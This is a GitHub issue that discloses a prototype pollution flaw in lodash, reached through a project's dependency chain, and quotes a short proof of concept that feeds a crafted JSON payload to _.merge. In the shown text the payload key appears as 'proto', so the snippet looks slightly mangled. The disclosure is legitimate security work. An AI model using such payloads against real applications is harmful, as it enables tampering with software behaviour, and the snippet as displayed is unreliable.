Skip to content
This repository has been archived by the owner on Sep 15, 2022. It is now read-only.

Prototype Pollution #61

Open
larrycameron80 opened this issue Sep 16, 2019 · 0 comments
Open

Prototype Pollution #61

larrycameron80 opened this issue Sep 16, 2019 · 0 comments

Comments

@larrycameron80
Copy link

Prototype Pollution
Vulnerable module: lodash
Introduced through: [email protected]
Detailed paths
Introduced through: @polymathnetwork/abi-wrappers@PolymathNetwork/polymath-abi-wrappers#016f858f82ee983814ce487a8de0a67b68652196 › [email protected][email protected][email protected]
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)
var _= require('lodash');
var malicious_payload = '{"proto":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant